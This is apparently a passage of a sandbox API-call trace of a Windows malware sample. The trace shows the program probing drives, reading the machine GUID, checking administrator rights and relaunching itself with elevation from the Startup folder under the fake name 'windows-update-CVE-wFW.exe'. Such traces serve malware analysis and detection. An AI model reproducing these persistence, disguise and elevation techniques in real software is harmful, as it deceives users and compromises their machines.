	[0212.287] CreateFileW (lpFileName="V:\\" (normalized: "v:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.287] FindFirstFileW (in: lpFileName="V:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.293] CreateFileW (lpFileName="W:\\" (normalized: "w:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.299] FindFirstFileW (in: lpFileName="W:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.305] CreateFileW (lpFileName="X:\\" (normalized: "x:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.305] FindFirstFileW (in: lpFileName="X:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.311] CreateFileW (lpFileName="Y:\\" (normalized: "y:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.312] FindFirstFileW (in: lpFileName="Y:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.317] CreateFileW (lpFileName="Z:\\" (normalized: "z:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.318] FindFirstFileW (in: lpFileName="Z:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.318] VirtualAlloc (lpAddress=0xc000040000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000040000
	[0212.319] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000
	[0212.319] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000
	[0212.320] VirtualAlloc (lpAddress=0xc000046000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000046000
	[0212.320] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000
	[0212.321] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000
	[0212.321] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000
	[0212.322] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000
	[0212.322] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000
	[0212.323] VirtualAlloc (lpAddress=0xc000052000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000052000
	[0212.324] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000
	[0212.324] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000
	[0212.326] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000
	[0212.327] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0212.327] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegOpenKeyExW") returned 0x7fff4ce14aa0
	[0212.327] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x101, phkResult=0xc0000c9dd8 | out: phkResult=0xc0000c9dd8*=0x124) returned 0x0
	[0212.327] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegQueryValueExW") returned 0x7fff4ce14c60
	[0212.327] RegQueryValueExW (in: hKey=0x124, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc0000c9da0, lpcbData=0xc0000c9d1c*=0x40 | out: lpType=0xc0000c9d18*=0x1, lpData=0xc0000c9da0*=0x0, lpcbData=0xc0000c9d1c*=0x4a) returned 0xea
	[0212.327] RegQueryValueExW (in: hKey=0x124, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc0000140f0, lpcbData=0xc0000c9d1c*=0x4a | out: lpType=0xc0000c9d18*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0xc0000c9d1c*=0x4a) returned 0x0
	[0212.328] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegCloseKey") returned 0x7fff4ce14c50
	[0212.328] RegCloseKey (hKey=0x124) returned 0x0
	[0212.328] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000
	[0212.329] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000
	[0212.329] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000
	[0212.330] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000
	[0212.330] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000
	[0212.331] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000
	[0212.331] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000
	[0212.332] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000
	[0212.332] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000
	[0212.332] VirtualAlloc (lpAddress=0xc000072000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000072000
	[0212.347] SetEvent (hEvent=0xe4) returned 1
	[0212.347] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.358] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc0000120d0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22
	[0212.358] VirtualAlloc (lpAddress=0xc000074000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000074000
	[0212.359] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0000121a0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0212.359] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000012270, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0212.359] VirtualAlloc (lpAddress=0xc000076000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000076000
	[0212.360] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddDllDirectory") returned 0x7fff4c9b2300
	[0212.360] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExW") returned 0x7fff4f798f20
	[0212.360] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0212.360] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="AllocateAndInitializeSid") returned 0x7fff4ce15010
	[0212.360] AllocateAndInitializeSid (in: pIdentifierAuthority=0x13621a8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xc0000c9e28 | out: pSid=0xc0000c9e28*=0x1ea5a2b0e50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0212.360] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="CheckTokenMembership") returned 0x7fff4ce15a90
	[0212.360] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1ea5a2b0e50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xc0000c9dc4 | out: IsMember=0xc0000c9dc4) returned 1
	[0212.361] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="FreeSid") returned 0x7fff4ce157d0
	[0212.361] VirtualAlloc (lpAddress=0xc000078000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000078000
	[0212.361] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc000078000, nSize=0x400 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe")) returned 0x57
	[0212.362] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetCurrentDirectoryW") returned 0x7fff4f79e220
	[0212.362] GetCurrentDirectoryW (in: nBufferLength=0x12c, lpBuffer=0xc0000c9b40 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0212.362] VirtualAlloc (lpAddress=0xc00007a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007a000
	[0212.362] LoadLibraryExW (lpLibFileName="shell32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4e320000
	[0212.613] SetEvent (hEvent=0x128) returned 1
	[0212.613] GetProcAddress (hModule=0x7fff4e320000, lpProcName="ShellExecuteW") returned 0x7fff4e41f5d0
	[0212.622] ShellExecuteW (hwnd=0x0, lpOperation="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe", lpParameters="", lpDirectory="C:\\WINDOWS\\system32", nShowCmd=1) returned 0x2a
	[0225.734] SetEvent (hEvent=0x128) returned 1
	[0225.734] ExitProcess (uExitCode=0x0) 

Thread:
	id = 39
	os_tid = 0xde0


Thread:
	id = 40
	os_tid = 0xde4

	[0212.045] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4656dffbf0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4656dffbf0*=0xdc) returned 1
	[0212.045] VirtualQuery (in: lpAddress=0x4656dffc10, lpBuffer=0x4656dffc10, dwLength=0x30 | out: lpBuffer=0x4656dffc10*(BaseAddress=0x4656dff000, AllocationBase=0x4656c00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0212.045] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.058] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.068] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.095] SetEvent (hEvent=0xfc) returned 1
	[0212.095] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.106] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0212.107] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128
	[0212.107] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x12c
	[0212.107] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4656dffb48*=0x128, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0212.141] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0212.142] SetEvent (hEvent=0xf0) returned 1
	[0212.142] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.186] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.223] SetEvent (hEvent=0xe4) returned 1
	[0212.223] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.259] SetEvent (hEvent=0xe4) returned 1
	[0212.260] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.298] SetEvent (hEvent=0xe4) returned 1
	[0212.298] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.335] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xd0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4656dff678, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4656dff678*=0x124) returned 1
	[0212.335] SuspendThread (hThread=0x124) returned 0x0
	[0212.335] GetThreadContext (in: hThread=0x124, lpContext=0x4656dff690 | out: lpContext=0x4656dff690*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x46569ff8b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0212.339] ResumeThread (hThread=0x124) returned 0x1
	[0212.339] CloseHandle (hObject=0x124) returned 1
	[0212.339] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.348] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.354] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.395] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.452] SetEvent (hEvent=0xe4) returned 1
	[0212.452] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.528] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0212.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4656dffb48*=0x128, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0212.636] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0212.637] SetEvent (hEvent=0xe4) returned 1
	[0212.637] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x4656dffbc0) returned 0x102
	[0212.660] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0212.660] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4656dffb48*=0x128, bWaitAll=0, dwMilliseconds=0xea60) 

Thread:
	id = 41
	os_tid = 0xde8

	[0212.047] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4656fffae0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4656fffae0*=0xe0) returned 1
	[0212.047] VirtualQuery (in: lpAddress=0x4656fffb00, lpBuffer=0x4656fffb00, dwLength=0x30 | out: lpBuffer=0x4656fffb00*(BaseAddress=0x4656fff000, AllocationBase=0x4656e00000, AllocationProtect=0x4, __alignment1=0xfffff801, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x300)) returned 0x30
	[0212.047] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea7f700000
	[0212.048] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000
	[0212.048] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000
	[0212.048] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000
	[0212.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc000080000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4
	[0212.050] CloseHandle (hObject=0xe4) returned 1
	[0212.050] SetEvent (hEvent=0xd4) returned 1
	[0212.050] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4
	[0212.050] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe8
	[0212.050] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.185] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.259] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.298] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.334] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.353] SetEvent (hEvent=0xd4) returned 1
	[0212.353] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.527] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) 

Thread:
	id = 42
	os_tid = 0xdec

	[0212.051] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x46571ff970, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x46571ff970*=0xec) returned 1
	[0212.051] VirtualQuery (in: lpAddress=0x46571ff990, lpBuffer=0x46571ff990, dwLength=0x30 | out: lpBuffer=0x46571ff990*(BaseAddress=0x46571ff000, AllocationBase=0x4657000000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0212.052] VirtualAlloc (lpAddress=0xc00003c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003c000
	[0212.053] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0
	[0212.053] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf4
	[0212.053] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.185] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) 

Thread:
	id = 43
	os_tid = 0xdf0

	[0212.059] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x46573ff7e0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x46573ff7e0*=0xf8) returned 1
	[0212.059] VirtualQuery (in: lpAddress=0x46573ff800, lpBuffer=0x46573ff800, dwLength=0x30 | out: lpBuffer=0x46573ff800*(BaseAddress=0x46573ff000, AllocationBase=0x4657200000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0212.060] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xfc
	[0212.060] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x100
	[0212.060] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0212.105] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0212.142] SetEvent (hEvent=0xe4) returned 1
	[0212.142] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) 

Thread:
	id = 44
	os_tid = 0xe10


Thread:
	id = 45
	os_tid = 0xe14


Thread:
	id = 46
	os_tid = 0xe40


Thread:
	id = 47
	os_tid = 0xe44


Process:
	id = "11"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x38e74000"
	os_pid = "0x564"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "10"
	os_parent_pid = "0x244"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
